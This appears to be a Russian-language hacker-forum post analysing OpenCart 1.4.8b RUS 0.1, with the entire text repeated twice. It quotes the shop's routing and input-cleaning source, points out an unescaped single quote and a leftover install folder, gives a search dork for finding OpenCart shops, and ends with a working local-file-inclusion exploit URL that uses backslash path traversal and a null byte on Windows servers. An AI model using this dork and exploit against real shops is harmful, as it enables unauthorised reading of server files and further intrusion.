Strilo4ka
04.07.2010, 18:28
Версия:
OpenCart 1.4.8b RUS 0.1
Магазин: оф. сайт http://myopencart.ru/
В файле в корне config.php интересны константы:
PHP:
/*...*/define('DB_DRIVER','mysql');
define('DB_HOSTNAME','localhost');
define('DB_USERNAME','root');
define('DB_PASSWORD','');
define('DB_DATABASE','opencart');
define('DB_PREFIX','oc_');/*...*/
Мб пригодитцо(читалка, блинд посимволу и т.д)
После установки двига если install не удалена, то нет никаких варнингов, а тока упоминаетцо при установке что надо удалить.
Некоторая логика(в файле system/startup.php):
Слешы удаляютцо (когда магические включены) с массивов $_GET, $_POST, $_COOKIE.
Также переменные уничтожаютцо когда rg в on с массивов которые выше зазначены + $_SESSION, $_SERVER, $_FILES .
$_SERVER['REQUEST_URI'] присваиваетцо строка с параметрами если установлена query_string.
подключения с \engine(абстрактные и финальные класы!) и \library(аналогично!)
Объект в этих подключаемых файлах не создаютцо.
Интересный файл request.php:
в конструкторе класа request массивы переприсваиваютцо, а именно: $_GET,$_POST,$_COOKIE,$_FILES, $_SERVER и присваиваютцо определенным свойствам класа.
Ключи и значения преобразовываютцо функцией htmlspecialchars в режиме ENT_COMPAT с 8-битным Unicode, совместимым с ASCII. .
А как известно одинарная кавычка остаетцо бес изменений в ENT_COMPAT, тоесть возвожны уязвимости.
Смотримс далее:
в index.php остальные файлы с \library покдключаютцо (класы), объекты еще не создаютцо.
далее в index.php создаютцо обьекты...
Дорк:
intext:"Работает на: OpenCart"
Такс, хватит воды!
LFI (ось win)system/library/request.php
PHP:
final classRequest{
public$get= array();
public$post= array();
public$cookie= array();
public$files= array();
public$server= array();
public function__construct() {
$_GET=$this->clean($_GET);
$_POST=$this->clean($_POST);
$_COOKIE=$this->clean($_COOKIE);
$_FILES=$this->clean($_FILES);
$_SERVER=$this->clean($_SERVER);
$this->get=$_GET;
$this->post=$_POST;
$this->cookie=$_COOKIE;
$this->files=$_FILES;
$this->server=$_SERVER;
}
public functionclean($data) {
if (is_array($data)) {
foreach ($dataas$key=>$value) {
unset($data[$key]);
$data[$this->clean($key)] =$this->clean($value);
}
} else {
$data=htmlspecialchars($data,ENT_COMPAT,'UTF-8');
}
return$data;
}
}
index.php
PHP:
/*...*/
// Front Controller
$controller= newFront($registry);
// Maintenance Mode
$controller->addPreAction(newAction('common/maintenance/check'));
// SEO URL's
$controller->addPreAction(newAction('common/seo_url'))
// Router
if (isset($request->get['route'])) {
$action= newAction($request->get['route']);
} else {
$action= newAction('common/home');
}
// Dispatch
$controller->dispatch($action, newAction('error/not_found'));
// Output
$response->output();
system/engine/action.php
PHP:
/*...*/
public function__construct($route,$args= array() ) {
$path='';
$parts=explode('/',str_replace('../','',$route));
foreach ($partsas$part) {
$path.=$part;
if (is_dir(DIR_APPLICATIO N.'controller/'.$path)) {
$path.='/';
array_shift($parts);
continue;
}
if (is_file(DIR_APPLICATI ON.'controller/'.str_replace('../','',$path) .'.php')) {
$this->file=DIR_APPLICATION.'controller/'.str_replace('../','',$path) .'.php';
$this->class='Controller'.preg_replace('/[^a-zA-Z0-9]/','',$path);
array_shift($parts);
/*...*/
system/engine/front.php
/
PHP:
*...*/
public functiondispatch($action,$error) {
$this->error=$error;
foreach ($this->pre_actionas$pre_action) {
$result=$this->execute($pre_action);
if ($result) {
$action=$result;
break;
}
}
while ($action) {
$action=$this->execute($action);
}
}
private functionexecute($action) {
$file=$action->getFile();
$class=$action->getClass();
$method=$action->getMethod();
$args=$action->getArgs();
$action='';
if (file_exists($file)) {
require_once($file);
$controller= new$class($this->registry);
if (is_callable(array($co ntroller,$method))) {
$action=call_user_func_array(array($controller,$me thod),$args);
} else {
$action=$this->error;
$this->error='';
}
} else {
$action=$this->error;
$this->error='';
}
return$action;
}
}
Мы находимсо в catalog\controller, а "постфикс" надо отбрасывать.
Exploit:
http://localhost/opencart_1.4.8b_rus_0.1/?route=..\..\.htaccess.txt%00
Нулл-байт сработал у мну при mg=on => 1 условие: ОС Win.
OpenCart 1.4.8b RUS 0.1
Магазин: оф. сайт http://myopencart.ru/
В файле в корне config.php интересны константы:
PHP:
/*...*/define('DB_DRIVER','mysql');
define('DB_HOSTNAME','localhost');
define('DB_USERNAME','root');
define('DB_PASSWORD','');
define('DB_DATABASE','opencart');
define('DB_PREFIX','oc_');/*...*/
Мб пригодитцо(читалка, блинд посимволу и т.д)
После установки двига если install не удалена, то нет никаких варнингов, а тока упоминаетцо при установке что надо удалить.
Некоторая логика(в файле system/startup.php):
Слешы удаляютцо (когда магические включены) с массивов $_GET, $_POST, $_COOKIE.
Также переменные уничтожаютцо когда rg в on с массивов которые выше зазначены + $_SESSION, $_SERVER, $_FILES .
$_SERVER['REQUEST_URI'] присваиваетцо строка с параметрами если установлена query_string.
подключения с \engine(абстрактные и финальные класы!) и \library(аналогично!)
Объект в этих подключаемых файлах не создаютцо.
Интересный файл request.php:
в конструкторе класа request массивы переприсваиваютцо, а именно: $_GET,$_POST,$_COOKIE,$_FILES, $_SERVER и присваиваютцо определенным свойствам класа.
Ключи и значения преобразовываютцо функцией htmlspecialchars в режиме ENT_COMPAT с 8-битным Unicode, совместимым с ASCII. .
А как известно одинарная кавычка остаетцо бес изменений в ENT_COMPAT, тоесть возвожны уязвимости.
Смотримс далее:
в index.php остальные файлы с \library покдключаютцо (класы), объекты еще не создаютцо.
далее в index.php создаютцо обьекты...
Дорк:
intext:"Работает на: OpenCart"
Такс, хватит воды!
LFI (ось win)system/library/request.php
PHP:
final classRequest{
public$get= array();
public$post= array();
public$cookie= array();
public$files= array();
public$server= array();
public function__construct() {
$_GET=$this->clean($_GET);
$_POST=$this->clean($_POST);
$_COOKIE=$this->clean($_COOKIE);
$_FILES=$this->clean($_FILES);
$_SERVER=$this->clean($_SERVER);
$this->get=$_GET;
$this->post=$_POST;
$this->cookie=$_COOKIE;
$this->files=$_FILES;
$this->server=$_SERVER;
}
public functionclean($data) {
if (is_array($data)) {
foreach ($dataas$key=>$value) {
unset($data[$key]);
$data[$this->clean($key)] =$this->clean($value);
}
} else {
$data=htmlspecialchars($data,ENT_COMPAT,'UTF-8');
}
return$data;
}
}
index.php
PHP:
/*...*/
// Front Controller
$controller= newFront($registry);
// Maintenance Mode
$controller->addPreAction(newAction('common/maintenance/check'));
// SEO URL's
$controller->addPreAction(newAction('common/seo_url'))
// Router
if (isset($request->get['route'])) {
$action= newAction($request->get['route']);
} else {
$action= newAction('common/home');
}
// Dispatch
$controller->dispatch($action, newAction('error/not_found'));
// Output
$response->output();
system/engine/action.php
PHP:
/*...*/
public function__construct($route,$args= array() ) {
$path='';
$parts=explode('/',str_replace('../','',$route));
foreach ($partsas$part) {
$path.=$part;
if (is_dir(DIR_APPLICATIO N.'controller/'.$path)) {
$path.='/';
array_shift($parts);
continue;
}
if (is_file(DIR_APPLICATI ON.'controller/'.str_replace('../','',$path) .'.php')) {
$this->file=DIR_APPLICATION.'controller/'.str_replace('../','',$path) .'.php';
$this->class='Controller'.preg_replace('/[^a-zA-Z0-9]/','',$path);
array_shift($parts);
/*...*/
system/engine/front.php
/
PHP:
*...*/
public functiondispatch($action,$error) {
$this->error=$error;
foreach ($this->pre_actionas$pre_action) {
$result=$this->execute($pre_action);
if ($result) {
$action=$result;
break;
}
}
while ($action) {
$action=$this->execute($action);
}
}
private functionexecute($action) {
$file=$action->getFile();
$class=$action->getClass();
$method=$action->getMethod();
$args=$action->getArgs();
$action='';
if (file_exists($file)) {
require_once($file);
$controller= new$class($this->registry);
if (is_callable(array($co ntroller,$method))) {
$action=call_user_func_array(array($controller,$me thod),$args);
} else {
$action=$this->error;
$this->error='';
}
} else {
$action=$this->error;
$this->error='';
}
return$action;
}
}
Мы находимсо в catalog\controller, а "постфикс" надо отбрасывать.
Exploit:
http://localhost/opencart_1.4.8b_rus_0.1/?route=..\..\.htaccess.txt%00
Нулл-байт сработал у мну при mg=on => 1 условие: ОС Win.